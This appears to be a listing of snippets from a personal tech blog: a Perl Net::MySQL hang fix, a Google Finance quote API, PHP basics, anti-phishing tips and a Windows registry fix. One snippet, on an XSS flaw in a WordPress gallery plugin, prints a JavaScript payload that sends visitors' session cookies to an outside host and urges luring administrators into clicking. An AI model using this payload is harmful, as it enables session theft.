http://digitalpbk.com/perl/solve-netmysql-hang-problem-if-database-result-has-only-1-row-or-empty
. If the result set is having just one row MySQL returns FE 00 00 02 00. The function on Net::MySQL package checks for end of packet and fails to find if the result set has only 1 row.
# Line 460
sub _has_next_packet
{
my $self = shift;
return substr($_[0], -5) ne "\xfe\0\0\x22\x00";
}
Thus the Perl module loops
back and waits for more data from the server, thus the blocking socket call to recv
makes the script hang.
Solve Net::MySQL Hanging Problem
In order to solve this problem use ...
Published 2 years, 1 month ago
http://digitalpbk.com/stock/google-finance-get-stock-quote-realtime
than scrapping a page.
UPDATE:
http://finance.google.com/finance/info?client=ig&q=NASDAQ:GOOG,NASDAQ:YHOO
You can get multiple quotes in a single request by comma separating the symbols on q parameter.
Will come
back soon with a script that does something based on this realtime data from Google Finance.
UPDATE:
The Code in Python
import urllib2
import json
import time
class GoogleFinanceAPI:
def __init__(self):
self ...
Published 1 year, 1 month ago
http://digitalpbk.blogspot.com/2009/07/wordpress-nextgen-gallery-xss.html
code can be put for stealing the cookie:(new Image()).src = 'http://labs.kitiyo.com/store.php?cookie='+document.cookie+'&location;='+window.location;window.location = "URL
back to the page";Then post this link accessible to site administrators or other registered users to click and hand us over their session cookies ;)I am infected now what to do? (for webmaster)The XSS is due to blindly allowing to print the $_GET variable onto the title. The makers of this plug ...
Published 2 years, 10 months ago
http://digitalpbk.blogspot.com/2007/04/introduction-to-php-part1.html
. There can be any number of PHP code segments in a file. Text outside the code segment is by default interpreted as HTML and send
back to the browser as it is. The code within the segement is evaluated and executed and the output of the code replaces the The PHP code is executed and replaced in the server itself and no PHP source code is sent to the browser. Thus the HTML recieved by the browser is Today's dateTodays date is : Apr 22 2007 09:15:00echo is something like the printf. It prints whatever ...
Published 5 years, 1 month ago
http://digitalpbk.blogspot.com/2007/01/get-smart-against-phishing.html
now its our turn to get smart and fight
back.Common methods of phishingMost phishing scams start from fake e-mails that arise from compromised mail servers across the world, or from zombie computers called botnets. Phishing mails will be asking for confidential data like PIN numbers, Bank account id and passwords, or anything personal. There would be some links in the mail that redirects to some compromised server, which would be very similar to the legitimate site.Another common scam is someone ...
Published 5 years, 4 months ago
http://digitalpbk.com/laptop/restore-power-plan-missing-saver-high-performance-balanced-windows-7
\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes
and
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes
Windows use the former to display the power plan options in control panel.
So if something is corrupted in the registry entry, you can restore it from the later registry entry.
This can be easily achieved by exporting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes to a .reg file, Search and replace all /Default/ with / and then import the same
back into the registry ...
Published 2 years, 1 month ago